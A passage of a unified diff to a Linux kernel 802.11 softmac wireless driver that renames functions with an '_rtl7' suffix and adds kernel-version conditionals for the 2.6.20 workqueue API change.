auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; @@ -1145,7 +1160,7 @@ } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; @@ -1163,7 +1178,7 @@ return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; @@ -1201,7 +1216,7 @@ } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; @@ -1219,7 +1234,7 @@ return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ @@ -1233,45 +1248,45 @@ } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; //unsigned long flags; ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); @@ -1285,18 +1300,18 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); } -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) { int timeout = ieee->ps_timeout; u8 dtim; @@ -1343,7 +1358,7 @@ } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; @@ -1360,12 +1375,12 @@ #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_wakeup(ieee, 1); + ieee80211_sta_wakeup_rtl7(ieee, 1); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; @@ -1386,7 +1401,7 @@ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee,1); + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); ieee->ps_th = th; ieee->ps_tl = tl; @@ -1400,7 +1415,7 @@ #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_wakeup(ieee,1); + ieee80211_sta_wakeup_rtl7(ieee,1); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } @@ -1410,13 +1425,13 @@ } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; @@ -1429,11 +1444,11 @@ if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; @@ -1454,7 +1469,7 @@ if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,17 +1477,18 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; @@ -1496,19 +1512,19 @@ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - ieee80211_associate_complete(ieee); + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; @@ -1519,7 +1535,7 @@ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - ieee80211_rx_assoc_rq(ieee, skb); + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; case IEEE80211_STYPE_AUTH: @@ -1530,23 +1546,23 @@ IEEE80211_DEBUG_MGMT("Received authentication response"); - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - ieee80211_associate_step2(ieee); + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; @@ -1558,7 +1574,7 @@ ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - ieee80211_rx_probe_rq(ieee, skb); + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; case IEEE80211_STYPE_DISASSOC: @@ -1573,8 +1589,8 @@ ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } @@ -1610,7 +1626,7 @@ * to the driver later, when it wakes the queue. */ -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { @@ -1643,7 +1659,7 @@ #endif /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { @@ -1662,7 +1678,7 @@ } } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); exit: spin_unlock_irqrestore(&ieee->lock,flags); @@ -1670,7 +1686,7 @@ } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { @@ -1690,19 +1706,19 @@ } - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,7 +1726,7 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -1723,7 +1739,7 @@ ieee->queue_stop = 0; if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ header = (struct ieee80211_hdr_3addr *) skb->data; @@ -1738,7 +1754,7 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); + ieee80211_resume_tx_rtl7(ieee); if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; @@ -1750,7 +1766,7 @@ } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1765,7 +1781,7 @@ } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { get_random_bytes(ieee->current_network.bssid, ETH_ALEN); @@ -1778,7 +1794,7 @@ } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; @@ -1796,7 +1812,7 @@ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); @@ -1804,7 +1820,7 @@ netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ @@ -1814,8 +1830,15 @@ netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { +#endif /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET @@ -1834,7 +1857,7 @@ } /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after @@ -1851,13 +1874,13 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); + ieee80211_randomize_cell_rtl7(ieee); if(ieee->modulation & IEEE80211_CCK_MODULATION){ @@ -1901,9 +1924,9 @@ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); - ieee80211_start_send_beacons(ieee); + ieee80211_start_send_beacons_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); @@ -1913,13 +1936,13 @@ up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,7 +1950,7 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we @@ -1937,34 +1960,42 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); + ieee80211_start_scan_rtl7(ieee); spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); + ieee80211_reset_queue_rtl7(ieee); if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) { + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif unsigned long flags; down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; @@ -1986,12 +2017,12 @@ */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); spin_lock_irqsave(&ieee->lock, flags); if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); + ieee80211_start_scan_rtl7(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -1999,14 +2030,14 @@ up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; struct sk_buff *skb; struct ieee80211_probe_response *b; - skb = ieee80211_probe_resp(ieee, broadcast_addr); + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); if (!skb) return NULL; @@ -2018,12 +2049,12 @@ } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - skb = ieee80211_get_beacon_(ieee); + skb = ieee80211_get_beacon__rtl7(ieee); if(!skb) return NULL; @@ -2038,44 +2069,44 @@ return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; ieee->proto_started = 0; - ieee80211_stop_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); - ieee80211_stop_scan(ieee); + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; @@ -2094,9 +2125,7 @@ if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2109,21 +2138,18 @@ */ if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); @@ -2143,7 +2169,7 @@ ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; @@ -2153,25 +2179,34 @@ init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); #else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); @@ -2179,12 +2214,12 @@ spin_lock_init(&ieee->beacon_lock); tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); @@ -2201,7 +2236,7 @@ ********************************************************/ -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2211,16 +2246,16 @@ } -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { int ret = 0; @@ -2231,7 +2266,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2278,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,14 +2302,14 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { struct ieee80211_security sec = { @@ -2300,13 +2335,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2386,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,7 +2403,7 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; @@ -2407,7 +2442,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2456,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2477,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2560,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2552,20 +2587,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2585,7 +2620,7 @@ return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2632,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); 